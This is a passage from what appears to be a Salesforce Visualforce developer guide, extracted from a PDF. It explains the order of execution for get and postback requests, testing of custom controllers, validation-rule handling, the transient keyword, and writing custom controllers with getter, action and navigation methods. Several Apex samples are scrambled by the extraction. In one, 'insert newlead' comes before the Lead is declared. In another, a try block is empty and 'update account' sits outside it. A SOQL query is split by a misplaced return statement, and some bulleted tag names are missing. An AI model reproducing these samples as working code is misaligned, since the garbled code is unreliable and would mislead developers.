2. If the page contains any custom components, they are created and the constructor methods on any associated custom controllers or controller extensions are executed. If attributes are set on the custom component using expressions, the expressions are evaluated after the constructors are evaluated.
100
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Postback Requests
3. The page then executes any assignTo
attributes on any custom components on the page. After the assignTo
methods are executed, expressions are evaluated, the action
attribute on the
<apex:page >
component is evaluated, and all other method calls, such as getting or setting a property value, are made.
4. If the page contains an
<apex:form >
component, all of the information necessary to maintain the state of the database between page requests is saved as an encrypted view state. The view state is updated whenever the page is updated.
5. The resulting HTML is sent to the browser. If there are any client-side technologies on the page, such as JavaScript, the browser executes them.
As the user interacts with the page, the page contacts the controller objects as required to execute action, getter, and setter methods.
Once a new get request is made by the user, the view state and controller objects are deleted.
Note: If the user is redirected to a page that uses the same controller and the same or a proper subset of controller extensions, a postback request is made. When a postback request is made, the view state is maintained.
If the user interaction requires a page update, such as when the user clicks a Save button that triggers a save action, a postback request
For a specific example of a get request, see
Examples of Visualforce Page Execution Order
on page 103.
Order of Execution for Visualforce Page Postback Requests
A postback request is made when user interaction requires a page update, such as when a user clicks on a Save button and triggers a save action. The following diagram shows how a Visualforce page interacts with a controller extension or a custom controller class during a postback request:
101
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Postback Requests
1. During a postback request, the view state is decoded and used as the basis for updating the values on the page.
Note:
A component with the immediate
attribute set to true
bypasses this phase of the request. In other words, the action executes, but no validation is performed on the inputs and no data changes on the page.
2. After the view state is decoded, expressions are evaluated and set methods on the controller and any controller extensions, including set methods in controllers defined for custom components, are executed.
These method calls do not update the data unless all methods are executed successfully. For example, if one of the methods updates a property and the update is not valid due to validation rules or an incorrect data type, the data is not updated and the page redisplays with the appropriate error messages.
102
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
3. The action that triggered the postback request is executed. If that action completes successfully, the data is updated. If the postback request returns the user to the same page, the view state is updated.
Note: The action
attribute on the
<apex:page >
component is not evaluated during a postback request. It is only evaluated during a get request.
4. The resulting HTML is sent to the browser.
If the postback request indicates a page redirect and the redirect is to a page that uses the same controller and a proper subset of controller extensions of the originating page, a postback request is executed for that page. Otherwise, a get request is executed for the page. If the postback request contains an
<apex:form >
component, only the ID query parameter on a postback request is returned.
Tip: You can use the setRedirect
attribute on a pageReference
to control whether a postback or get request is executed. If setRedirect
is set to true, a get request is executed. Setting it to false does not ignore the restriction that a postback request will be executed if and only if the target uses the same controller and a proper subset of extensions. If setRedirect
is set to false, and the target does not meet those requirements, a get request will be made.
Once the user is redirected to another page, the view state and controller objects are deleted.
Examples of Visualforce Page Execution Order
The following examples illustrate the lifecycle of a Visualforce page as a user interacts with it. The page used in the examples is designed to show information about an account, the value of the variables on the page, and allows the user to edit details of the account if the key value is set to anything except false.
To set up the Visualforce page for the examples:
1. Create a controller for a custom component called componentController
: public class componentController { public String selectedValue { get; set { editMode = (value != null );
// Side effect here - don't do this!
selectedValue = value;
}
} public Boolean editMode {get; private set;}
}
2. Create a custom component called editMode
:
<apex:component controller= "componentController" >
<apex:attribute name= "value" type= "String" description= "Sample component." assignTo= "{!selectedValue}" />
<p >
Value = {!value} <br/ > selectedValue = {!selectedValue} <br/ >
EditMode = {!EditMode}
</p >
</apex:component >
103
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
3. Create a custom controller called myController
: public with sharing class myController { private final Account account; public myController() { account = [select id, name, site, NumberOfEmployees, Industry from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )];
} public Account getAccount() { return account;
} public PageReference save() { update account; return null ;
} public PageReference cancel() { return null ;
}
}
4. Create a controller extension called lifecycle
: public with sharing class lifecycle { private final Account acct;
Integer EmpAdd; public lifecycle(myController controller) { this .acct = (Account)controller.getAccount();
} public String getGreeting() { return acct.name + ' Current Information' ;
} public void resetEmp() { acct.numberofemployees = 10; update acct;
}
}
5. Create a page called setEmps
:
<apex:page controller= "myController" tabStyle= "Account" extensions= "lifecycle" action= "{!resetEmp}" >
<apex:messages />
<apex:pageBlock title= "{!greeting}" >
<apex:outputLabel value= "{!$ObjectType.account.fields.Name.label}: " for= "acctName" />
104
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
<apex:outputField value= "{!account.name}" id= "acctName" />
<br/ >
<apex:outputLabel value= "{!$ObjectType.account.fields.NumberOfEmployees.label}: " for= "emps" />
<apex:outputField value= "{!account.NumberOfEmployees}" id= "emps" />
<br/ >
</apex:pageBlock >
<apex:pageBlock title= "Variable values" >
<c:editMode value= "{!$CurrentPage.parameters.key}" />
</apex:pageBlock >
<apex:form rendered= "{!$CurrentPage.parameters.key = 'true'}" >
<apex:pageBlock title= "Update the Account" id= "thePageBlock" >
<apex:pageBlockSection columns= "1" >
<apex:inputField id= "aName" value= "{!account.name}" />
<apex:inputField value= "{!account.NumberOfEmployees}" />
<apex:pageBlockSectionItem >
<apex:outputLabel value= "{!$ObjectType.account.fields.Industry.label}" for= "acctIndustry" />
<apex:actionRegion >
<apex:inputField value= "{!account.Industry}" id= "acctIndustry" >
<apex:actionSupport event= "onchange" rerender= "thePageBlock" status= "status" />
</apex:inputField >
</apex:actionRegion >
</apex:pageBlockSectionItem >
</apex:pageBlockSection >
<apex:pageBlockButtons location= "bottom" >
<apex:commandButton action= "{!save}" value= "Save" />
<apex:commandButton action= "{!cancel}" value= "Cancel" immediate= "true" />
</apex:pageBlockButtons >
</apex:pageBlock >
</apex:form >
</apex:page >
Get Request Example One
For the first example, visit the setEmps
page using a URL of the form https://Salesforce_instance/apex/setEmps?id=recordId
, where
Salesforce_instance
is the name of your instance (for example, na1
) and
recordID
is the ID of an account record in your organization (for example,
001D000000IRt53
). You'll see a page with content similar to the following:
105
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
Let's trace the lifecycle to see why the page displays what it does. Since you've requested the page directly by entering a URL, this page is the result of a get request, not a postback request.
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called.
The myController
method is the constructor on the controller and the lifecycle
method is the constructor on the extension. Those are executed and the two objects now exist. The controller now has a variable, called account
, that is the result of a query that uses the id
parameter from the URL, to identify which account object to query. The extension now has a variable, called acct
, that is created by calling the getAccount
method on the controller. The getAccount
method has no side-effects.
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component:
<c:editMode value= "{!$CurrentPage.parameters.key}" />
This custom component has an associated controller, but the controller has no explicit constructor. As with all Apex objects without explicit constructors, the object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression
{!$CurrentPage.parameters.key}
. Since we did not specify the key
attribute in the URL, value
is set to null.
3. After custom components are created, all assignTo
attributes on those custom components are executed. An assignTo attribute is a setter method that assigns the value of this attribute to a class variable in the associated custom component controller.
The editMode
custom component does have an assignTo
method, so it is executed. The assignTo
method sets selectedValue
on the attribute to the value
attribute. The value
attribute is set to null, so selectedValue
is set to null.
4. The next step in a get request is evaluation of the action
attribute on the
<apex:page >
component , expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following:
•
The
<apex:page >
component has an action
attribute which calls the resetEmp
method on the extension. That method sets the numberofemployees
field on the acct
object to 10.
•
There are several expressions that evaluate on the page. Let's focus on three:
–
<apex:pageBlock title= "{!greeting}" >
The title
attribute on
<apex:pageblock >
calls the getter method on the lifecycle extension getGreeting
.
This is rendered on the page as “Global Media Current Information.”
–
<apex:form rendered= "{!$CurrentPage.parameters.key
= 'true' } ">
The rendered
attribute on
<apex:form >
is set based on the value of the key
parameter. We did not set key
when calling the page, so the form is not rendered.
–
Value = {!value} <br/ > selectedValue = {!selectedValue} <br/ > EditMode =
{!EditMode}
This expression occurs in the custom component. We've already discussed that value
and selectedValue
are set to null, however, the value of
EditMode
is not yet known.
EditMode
is a boolean variable on the componentController
. It is set based on the whether value
is equal to null: set { selectedValue = value;
// Side effect here - don't do this!
editMode = (value != null );
}
106
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
Since value
is null,
EditMode
is set to false
. Note, however, that there is a side-effect in the setter method for
EditMode
. As part of setting editMode
, we also set selectedValue
to value
. Since value
is null, this doesn't change anything, but this behavior has an impact in a later example.
•
The other expressions and methods are evaluated in a similar manner.
5. Since the
<apex:form >
component isn't rendered, the view state isn't created.
6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
Get Request Example Two
For the second example, visit the setEmps
page using a URL of the form https://Salesforce_instance/apex/setEmps?id=recordId&key=false
, where
Salesforce_instance
is the name of your instance (for example, na1
) and
recordID
is the ID of an account record in your organization (for example,
001D000000IRt53
). Unlike the first example, this example includes a second parameter, key=false
. You'll see a page with content similar to the following:
Let's trace the lifecycle again. This page is also the result of a get request:
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called.
The myController
method is the constructor on the controller and the lifecycle
method is the constructor on the extension. These are executed and the two objects now exist. The controller now has a variable, called account
, that is the result of a query that uses the id
parameter from the URL to identify which account record to query. The extension now has a variable, called acct
, that is created by calling the getAccount
method on the controller.
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component:
<c:editMode value= "{!$CurrentPage.parameters.key}" />
This custom component has an associated controller without a constructor, so the controller object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value
attribute on the custom component is set. In this case, it is equal to the result of the expression
{!$CurrentPage.parameters.key}
. We specified the key attribute as false, so value
is set to false.
3. After custom components are created, all assignTo
attributes on those custom components are executed. The assignTo method sets selectedValue
on the attribute to the value
attribute. The value
attribute is set to false, so selectedValue is set to false.
4. The next step in a get request is evaluation of the action
attribute on the
<apex:page >
component , expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following:
•
The
<apex:page >
component has an action
attribute which calls the resetEmp
method on the extension. That method sets the numberofemployees
field on the acct
object to 10.
107
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
•
Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title= "{!greeting}" >
The title
attribute on
<apex:pageblock >
calls the getter method on the lifecycle extension getGreeting
. It is rendered on the page as “Global Media Current Information.”
<apex:form rendered= "{!$CurrentPage.parameters.key
= 'true' } ">
The rendered attribute on
<apex:form >
is set based on the value of the key
parameter. We set key
to false
when calling the page, so the form is not rendered.
Value = {!value} <br/ > selectedValue = {!selectedValue} <br/ > EditMode = {!EditMode}
This expression occurs in the custom component. Since value
is not null,
EditMode
is set to true
. At this point, selectedValue
is set to null. Remember, however, that the setter method for
EditMode
has a side-effect. In this case, the side-effect sets selectedValue
to the value
attribute on the custom component. Since value
is set to false
, selectedValue
is set to false. This illustrates why you should not use side-effects in your methods. If the evaluation order were different, and the value for selectedValue
were determined before the setter for
EditMode was evaluated, selectedValue
would still be null. Execution order is not guaranteed, and the result for selectedValue
could change the next time this page is visited.
Warning: Do not use side-effects in your getters or setters!
5. Since the
<apex:form >
component isn't rendered, the view state isn't created
6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
Get Request Example Three
For the third example, visit the setEmps
page using a URL of the form https://Salesforce_instance/apex/setEmps?id=recordId&key=true
, where
Salesforce_instance
is the name of your instance (for example, na1
) and
recordID
is the ID of an account record in your organization (for example,
001D000000IRt53
). Unlike the second example, this example sets key=true
. You'll see a page with content similar to the following:
Let's trace the get request lifecycle one more time:
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called.
The myController
method is the constructor on the controller and the lifecycle
method is the constructor on the extension. These are executed and the two objects now exist. The controller now has a variable, called account
, that is the result of a query that uses the id
parameter from the URL to identify which account record to query. The extension now has a variable, called acct
, that is created by calling the getAccount
method on the controller.
108
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component:
<c:editMode value= "{!$CurrentPage.parameters.key}" />
This custom component has an associated controller without a constructor, so the controller object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value
attribute on the custom component is set. In this case, it is equal to the result of the expression
{!$CurrentPage.parameters.key}
. We specified the key attribute as true, so value
is set to true.
3. After custom components are created, all assignTo
attributes on those custom components are executed. The assignTo method sets selectedValue
on the attribute to the value
attribute. The value
attribute is set to true, so selectedValue is set to true.
4. The next step in a get request is evaluation of the action
attribute on the
<apex:page >
component, expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following:
•
The
<apex:page >
component has an action
attribute which calls the resetEmp
method on the extension. That method sets the numberofemployees
field on the acct
object to 10.
•
Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title= "{!greeting}" >
The title
attribute on
<apex:pageblock >
calls the getter method on the lifecycle extension getGreeting
. It is rendered on the page as “Global Media Current Information.”
<apex:form rendered= "{!$CurrentPage.parameters.key
= 'true' } ">
The rendered
attribute on
<apex:form >
is set based on the value of the key
parameter. We set key
to true when calling the page, so the form is rendered.
Value = {!value} <br/ > selectedValue = {!selectedValue} <br/ > EditMode = {!EditMode}
This expression occurs in the custom component. Since value
is not null,
EditMode
is set to true
. As in the previous example, selectedValue
is set to null. The side-effect in the setter method for
EditMode
sets selectedValue to true
.
5. Since the
<apex:form >
component is rendered, the view state is created.
6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
Postback Request Example
Unlike the first two examples, the third example rendered a final page with editable fields clickable buttons. To understand how a postback request works, use the final page in Example 3 to change the account name to “Pan Galactic Media,” the employee count to
42,” and the industry to “Other.” Then click Save. This initiates a postback request:
1. The first thing that happens in a postback request is that the view state is decoded. The view state contains all the information required to render the page. If, during the postback request, an operation fails, the view state is used to display the page to the user.
2. Next, all expressions are evaluated and methods on controllers and controller extensions are executed.
Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title= "{!greeting}" >
The title
attribute on
<apex:pageblock >
calls the getter method on the lifecycle extension getGreeting
. In our edit, we changed the value of the Account name. Thus, the value of greeting
changes to “Pan Galactic Media Current
Information.”
109
Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions
<apex:form rendered= "{!$CurrentPage.parameters.key
= 'true' } ">
The rendered
attribute on
<apex:form >
is set based on the value of the key
parameter. We have not changed the key
parameter, so the value in the view state is used. Since the value was true when the view state was created, it is still true and the form is rendered.
Value = {!value} <br/ > selectedValue = {!selectedValue} <br/ > EditMode = {!EditMode}
We have not changed any of these values, so, for each expression, the value in the view state is used.
3. Lastly, the save action, the action that triggered the postback request, is evaluated. The save action is the following method on the controller: public PageReference save() { update account; return null ;
}
This method updates the record with the new data. If this method fails, which it might do if the user does not have permission to update the record, or if there are validation rules that are triggered by the change, the page is displayed along with error messages describing the error. The values the user entered are not lost. They remain as they were when the user clicked the Save button.
Assuming there are no errors, the data on the object is updated, the view state is updated, and, since the action that triggered the postback did not include a page redirect, the view state is updated. The resulting HTML is sent to the browser:
SEE ALSO:
Using the Development Mode Footer
Testing Custom Controllers and Controller Extensions
Controller extensions and custom controllers, like all Apex scripts, should be covered by unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, and are flagged with the testMethod
keyword in the method definition.
When writing unit tests for controller extension and custom controller classes, you can set query parameters that can then be used in the tests. For example, the following custom controller and markup is based on the example from
Controller Methods on page 92, but
110
Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions has been extended to expect the following query parameter in the URL for the page:
?qp=yyyy
. A test method class follows, which exercises the functionality of this page: public class thecontroller { private String firstName; private String lastName; private String company; private String email; private String qp; public thecontroller() { this .qp = ApexPages.currentPage().getParameters().get( 'qp' );
} public String getFirstName() { return this .firstName;
} public void setFirstName( String firstName) { this .firstName = firstName;
} public String getLastName() { return this .lastName;
} public void setLastName( String lastName) { this .lastName = lastName;
} public String getCompany() { return this .company;
} public void setCompany( String company) { this .company = company;
} public String getEmail() { return this .email;
} public void setEmail( String email) { this .email = email;
} public PageReference save() {
PageReference p = null ; if ( this .qp == null || !
'yyyy' .equals( this .qp)) { p = Page.failure; p.getParameters().put( 'error' , 'noParam' );
} else { try {
111
Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions insert newlead;
} catch (Exception e) { p = Page.failure; p.getParameters().put( 'error' , 'noInsert' );
}
Lead newlead = new Lead(LastName= this .lastName,
FirstName= this .firstName,
Company= this .company,
Email= this .email);
} if (p == null ) { p = Page.success;
} p.setRedirect( true ); return p;
}
}
The controller calls two additional pages: a success page and a failure page. The text of those pages is not important for this example.
They merely have to exist.
The following markup uses the controller above:
<apex:page controller= "thecontroller" tabstyle= "lead" >
<apex:pageBlock >
<apex:form >
<h1 >Test page for adding leads </h1 >
<p >This is a test page for adding leads.
</p >
<p >First name: <apex:inputText value= "{!FirstName}" > </apex:inputText > </p >
<p >Last name: <apex:inputText value= "{!LastName}" > </apex:inputText > </p >
<p >Company: <apex:inputText value= "{!Company}" > </apex:inputText > </p >
<p >Email address: <apex:inputText value= "{!Email}" > </apex:inputText > </p >
<apex:commandButton action= "{!save}" value= "Save New Lead" />
</apex:form >
</apex:pageBlock >
</apex:page >
The following class tests the controller:
@isTest public class thecontrollerTests { public static testMethod void testMyController() {
PageReference pageRef = Page.success;
Test.setCurrentPage(pageRef); thecontroller controller = new thecontroller();
String nextPage = controller.save().getUrl();
// Verify that page fails without parameters
System.assertEquals( '/apex/failure?error=noParam' , nextPage);
// Add parameters to page URL
ApexPages.currentPage().getParameters().put( 'qp' , 'yyyy' );
112
Custom Controllers and Controller Extensions Validation Rules and Custom Controllers
// Instantiate a new controller with all parameters in the page controller = new thecontroller(); controller.setLastName( 'lastname' ); controller.setFirstName( 'firstname' ); controller.setCompany( 'acme' ); controller.setEmail( '[email protected]' ); nextPage = controller.save().getUrl();
// Verify that the success page displays
System.assertEquals( '/apex/success' , nextPage);
Lead[] leads = [select id, email from lead where Company = 'acme' ];
System.assertEquals( '[email protected]' , leads[0].email);
}
}
Tip: If you are testing your controller you may see the following error message:
Method does not exist or incorrect signature: Test.setCurrentPage(System.PageReference)
If this message appears, look to see if you have created a class called
Test
. If you have, rename the class.
SEE ALSO:
"Testing Apex" in the Force.com Apex Code Developer's Guide
Validation Rules and Custom Controllers
If a user enters data on a Visualforce page that uses a custom controller, and that data causes a validation rule error, the error can be displayed on the Visualforce page. Like a page that uses a standard controller, if the validation rule error location is a field associated with an
<apex:inputField >
component, the error displays there. If the validation rule error location is set to the top of the page, use the
<apex:messages >
component within the
<apex:page >
to display the error. However, to get the information to the page, the custom controller must catch the exception.
For example, suppose you have the following page:
<apex:page controller= "MyController" tabStyle= "Account" >
<apex:messages/ >
<apex:form >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
This is your new page for the {!name} controller.
<br/ >
You are viewing the {!account.name} account.
<br/ > <br/ >
Change Account Name: <p > </p >
<apex:inputField value= "{!account.name}" /> <p > </p >
Change Number of Locations:
<apex:inputField value= "{!account.NumberofLocations__c}" id= "Custom_validation" />
<p >(Try entering a non-numeric character here, then hit save.) </p > <br/ > <br/ >
<apex:commandButton action= "{!save}" value= "Save New Account Name" />
</apex:pageBlock >
</apex:form >
</apex:page >
Note:
The ID of a valid account record must be specified as a query parameter in the URL for this page to render. For example, http://na3.salesforce.com/apex/myValidationPage?id=001x000xxx3Jsxb
.
113
Custom Controllers and Controller Extensions Using the transient Keyword
You need to write a custom controller like the following: public class MyController {
Account account; public PageReference save() { try {
} update account; catch (DmlException ex){
ApexPages.addMessages(ex);
} return null ;
} public String getName() { return 'MyController' ;
} public Account getAccount() { if (account == null ) account = [select id, name, numberoflocations__c from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )]; return account;
}
}
When the user saves the page, if a validation error is triggered, the exception is caught and displayed on the page as they are for a standard controller.
Using the
transient
Keyword
Use the transient
keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state for a Visualforce page. For example:
Transient Integer currentTotal;
You can also use the transient
keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the
Batchable
or
Schedulable
interface. In addition, you can use transient
in classes that define the types of fields declared in the serializable classes.
Declaring variables as transient
reduces view state size. A common use case for the transient
keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following:
•
PageReferences
•
XmlStream classes
•
Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints
•
Most of the objects generated by system methods, such as
Schema.getGlobalDescribe
.
114
Custom Controllers and Controller Extensions Using the transient Keyword
•
JSONParser
class instances.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller= "ExampleController" >
T1: {!t1} <br/ >
T2: {!t2} <br/ >
<apex:form >
<apex:commandLink value= "refresh" />
</apex:form >
</apex:page > public class ExampleController {
DateTime t1; transient DateTime t2; public String getT1() { if (t1 == null ) t1 = System.now(); return '' + t1;
} public String getT2() { if (t2 == null ) t2 = System.now(); return '' + t2;
}
}
115
CHAPTER 8
Advanced Examples
The examples in
are considered beginning examples, and primarily use only Visualforce markup. Advanced examples use Force.com Apex code in addition to Visualforce markup.
Creating Your First Custom Controller
Up through this point, all of the examples in this tutorial have used the standard Account controller to define the underlying logic of each page. Visualforce, however, allows you to add your own logic and navigation controls to a page by defining a custom controller.
The following topics walk through the basics of creating a custom controller class and defining class methods that can interact with
Visualforce markup:
•
Creating a Custom Controller Class
•
•
•
•
Mass-Updating Records with a Custom List Controller
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition, a Salesforce Enterprise
Edition trial organization, or a sandbox organization. In a Salesforce production organization, you can only make changes to Apex using either the Force.com Migration Tool or the Force.com API compileAndTest
call.
Creating a Custom Controller Class
A custom controller is simply an Apex class. For example, the following code is a valid, though ineffective, controller class: public class MyController {
}
You can create a controller class and add it to your page in two different ways:
•
Add the controller attribute to your page and use a “quick fix” to create the controller class on the fly:
1. In the page editor, add the controller attribute to the
<apex:page >
tag. For example:
<apex:page controller= "MyController" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
This is your new page.
</apex:pageBlock >
</apex:page >
2. Use the quick fix option to automatically create a new Apex class named MyController.
•
Create and save the controller class in the Apex editor of your choice, and then reference it in your page:
116
Advanced Examples Defining Getter Methods
1.
In the application, from Setup, enter “Apex Classes” in the
Quick Find
box, then select Apex Classes and click New to create a new class.
2. Return to your page and add the controller
attribute to the
<apex:page >
tag as described in the example above.
Note: A page can only reference one controller at a time. You can’t use both the standardController
attribute and the controller
attribute in an
<apex:page >
tag.
As soon as you save a page that references a valid custom controller, a second Controller editor tab is available next to the Page Editor.
This editor allows you to toggle back and forth between your page markup and the Apex that defines the page’s logic.
The Custom Controller Editor
Defining Getter Methods
One of the primary tasks for a Visualforce controller class is to give developers a way of displaying database and other computed values in page markup. Methods that enable this type of functionality are called getter methods, and are typically named get
Identifier
, where
Identifier
is the name for the records or primitive values returned by the method.
For example, the following controller has a getter method for returning the name of the controller as a string: public class MyController { public String getName() { return 'MyController' ;
}
}
To display the results of a getter method in a page, use the name of the getter method without the get
prefix in an expression. For example, to display the result of the getName
method in page markup, use
{!name}
:
<apex:page controller= "MyController" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
This is your new page for the {!name} controller.
</apex:pageBlock >
</apex:page >
117
Advanced Examples Defining Getter Methods
In earlier examples that used the standard Account controller, the pages displayed values from an account record specified in the URL
(with the id
query string parameter) by using an
{!account.
<fieldName>}
expression. This was possible because the Account standard controller includes a getter method named getAccount
that returns the specified account record. We can mimic this functionality in a custom controller with the following code: public class MyController { public String getName() { return 'MyController' ;
} public Account getAccount() { return [select id, name from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )];
}
}
Note:
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if
001D000000IRt53
is the account ID, the resulting URL should be: https://
Salesforce_instance
/apex/MyFirstPage?id=001D000000IRt53
The getAccount
method uses an embedded SOQL query to return the account specified by the id
parameter in the URL of the page. To access id
, the getAccount
method uses the
ApexPages
namespace:
•
First the currentPage
method returns the
PageReference
instance for the current page.
PageReference
returns a reference to a Visualforce page, including its query string parameters.
•
Using the page reference, use the getParameters
method to return a map of the specified query string parameter names and values.
•
Then a call to the get
method specifying id
returns the value of the id
parameter itself.
A page that uses the MyController controller can display either the account name
or id
fields with an
{!account.name}
or
{!account.id}
expression, respectively. Only those fields are available to the page because those were the only fields returned by the SOQL query in the controller.
To more closely mimic the standard Account controller, we can add the tabStyle
attribute to the
<apex:page >
tag to give the page the same styling as other account pages. The markup for the page now looks like this:
<apex:page controller= "MyController" tabStyle= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
This is your new page for the {!name} controller.
<br/ >
You are viewing the {!account.name} account.
</apex:pageBlock >
</apex:page >
118
Advanced Examples
Using a Custom Controller to Display Values on a Page
Defining Action Methods
Defining Action Methods
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using
{! }
notation in the action
parameter of one of the following tags:
•
creates a button that calls an action
•
creates a link that calls an action
•
•
makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action
•
defines a new JavaScript function that calls an action
•
calls an action when the page is loaded
For example, in the sample page described in
Using Input Components in a Page on page 24, a command button is bound to the
save
method in the Account standard controller. We can adapt that previous example so that it now uses the MyController custom controller:
<apex:page controller= "MyController" tabStyle= "Account" >
<apex:form >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are viewing the {!account.name} account.
<p/ >
Change Account Name: <p/ >
</apex:pageBlock >
</apex:form >
</apex:page >
<apex:inputField value= "{!account.name}" /> <p/ >
<apex:commandButton action= "{!save}" value= "Save New Account Name" />
119
Advanced Examples Defining Action Methods
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001x000xxx3Jsxb
After saving the page above, the Visualforce editor offers a “quick fix” option to add the save
method to the MyController class. If you click the quick fix link, MyController now looks like this: public class MyController { public PageReference save() { return null ;
} public String getName() { return 'MyController' ;
} public Account getAccount() { return [select id, name from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )];
}
}
The save
method that is generated by the quick fix takes the standard signature for an action method: it is public, returns a PageReference, and contains no arguments.
Ultimately, the save
method definition must update the database with new account values, but first we must define a member variable to save the account information that is retrieved from the database. Without a member variable for the account, the record retrieved from the database does not persist after its values are used to render the page, and the user's updates to the record cannot be saved.
To introduce this member variable, two parts of the controller code need to change:
•
The member variable must be added to the class
•
The member variable must be set when getAccount
performs the initial query public class MyController {
Account account; public PageReference save() { return null ;
} public String getName() { return 'MyController' ;
} public Account getAccount() { if (account == null ) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )]; return account;
}
}
120
Advanced Examples Defining Navigation Methods
Now that the member variable is in place, all that the save
method needs to do is update the database: public class MyController {
Account account; public PageReference save() { update account; return null ;
} public String getName() { return 'MyController' ;
} public Account getAccount() { if (account == null ) account = [select id, name, site from Account return account; where id = :ApexPages.currentPage().getParameters().get( 'id' )];
}
}
A more robust solution for save
might catch various exceptions, look for duplicates, and so on. Since this is meant to be a simple example, those details have been left out.
To test this page, change the value in the
Change Account Name
field and click Save New Account Name. As with the standard
Account controller example, the page simply refreshes with the new account name. In the next example, we will extend the save action so that instead of refreshing the current page, it navigates the user to a different confirmation page.
Note: For the page to render properly, you must specify a valid account ID in the URL. For example, if
001D000000HRgU6
is the account ID, use the following URL: https://
Salesforce_instance
/apex/MyFirstPage?id=001D000000HRgU6
Defining Navigation Methods
In addition to performing database updates and other computations, custom controller action methods can navigate users to a different page by returning a PageReference object.
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
121
Advanced Examples Defining Navigation Methods
•
Page.
existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists.
•
PageReference pageRef = new PageReference( '
partialURL
');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting
'partialURL'
to
'/apex/HelloWorld'
refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld
. Likewise, setting
'
partialURL'
to
'/' + '
recordID' refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than
Page.
existingPageName
because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page.
•
PageReference pageRef = new PageReference( '
fullURL
');
Creates a PageReference for an external URL. For example:
PageReference pageRef = new PageReference( 'http://www.google.com' );
For this example, suppose you want to redirect a user to another page with a new URL after he or she clicks Save. To do this, first create a second page named mySecondPage by navigating to the following URL and using the quick fix: https://
Salesforce_instance
/apex/mySecondPage
Then add the following markup to mySecondPage. For simplicity, just use the following standard-controller-based page that was defined earlier in the tutorial:
<apex:page standardController= "Account" >
Hello {!$User.FirstName}!
<p >You are viewing the {!account.name} account.
</p >
</apex:page >
Now return to the original page that you built in Defining Action Methods
on page 119 and make sure that you have specified an account id
query parameter in the URL. Edit the save
method in the controller so that it returns a PageReference to the new page you just created, “mySecondPage”: public class MyController {
Account account; public PageReference save() { update account;
PageReference secondPage = Page.mySecondPage; secondPage.setRedirect( true ); return secondPage;
} public String getName() { return 'MyController' ;
}
122
